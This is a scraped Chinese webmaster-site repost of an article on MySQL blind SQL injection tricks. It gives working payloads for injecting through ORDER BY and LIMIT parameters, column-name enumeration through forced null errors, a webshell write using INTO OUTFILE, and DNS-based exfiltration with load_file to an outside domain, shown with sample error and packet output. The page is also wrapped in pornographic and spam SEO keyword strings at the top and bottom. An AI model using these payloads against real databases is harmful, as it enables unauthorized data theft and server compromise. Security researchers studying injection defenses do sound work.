青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網

17站長網 首頁 安全 入侵防御 查看內容

Mysql另類盲注中的一些技巧小結

2022-9-26 12:54| 查看: 2246 |來源: 互聯網

一、order by 的參數注入技巧:兩種方法,思路都一樣。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常見的利用方法:1.[SQL] select username,password from uc_members

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之后的limit參數 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:into outfile '/www/root/xxx.php';

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這里還有個技巧,使用procedure analyse可以獲取字段名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure

三、無法猜測字段時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column 'username' cannot be null
5. ……

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root權限下的mysql,利用load_file函數讀取遠程文件的思路。本地搭建一個dns服務器,然后將特定域名的NS server轉過來。然后進行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功獲得select的結果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

如圖所示:

本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 国产成人免费视频 | 在线播放日韩欧美亚洲日本 | 青柠视频在线观看高清HD | 亚洲欧美日韩另类精品一区二区三区 | 精品无码国产AV一区二区三区 | 伊人AV一区二区三区夜色撩人 | 99国产精品偷窥熟女精品视频 | 91欧洲在线视精品在亚洲 | 女人高潮时一吸一夹 | 2020最新无码国产在线视频 | 亚洲爱视频 | writeas雷狮直播| 芭乐草莓樱桃丝瓜18岁大全 | abp-146| 国产成人免费不卡在线观看 | 一二三四韩国免费观看 | 国产人妻人伦精品久久久 | 国产精品资源网站在线观看 | 最近免费中文字幕MV在线视频3 | 中文字幕亚洲无线码一区 | 999久久久无码国产精蜜柚 | 大咪咪dvd | gogogo高清在线观看 | 亚洲成人免费观看 | 99 久久99久久精品免观看 | 色99久久久久高潮综合影院 | 成人免费一区二区无码视频 | caoporn免费视频在线 | 国产 亚洲 中文字幕 在线 | seyeye免费高清观看 | 999在线观看精品免费 | 达达兔欧美午夜国产亚洲 | 国产亚洲精品久久播放 | 国产伦精品一区二区三区精品 | 亚洲欧洲日韩国产一区二区三区 | 久久re这里视频只有精品首页 | 在线a亚洲视频 | 韩日午夜在线资源一区二区 | 久久精品国产免费播放 | 99精品视频在线观看 | 国产成人自拍视频在线观看 |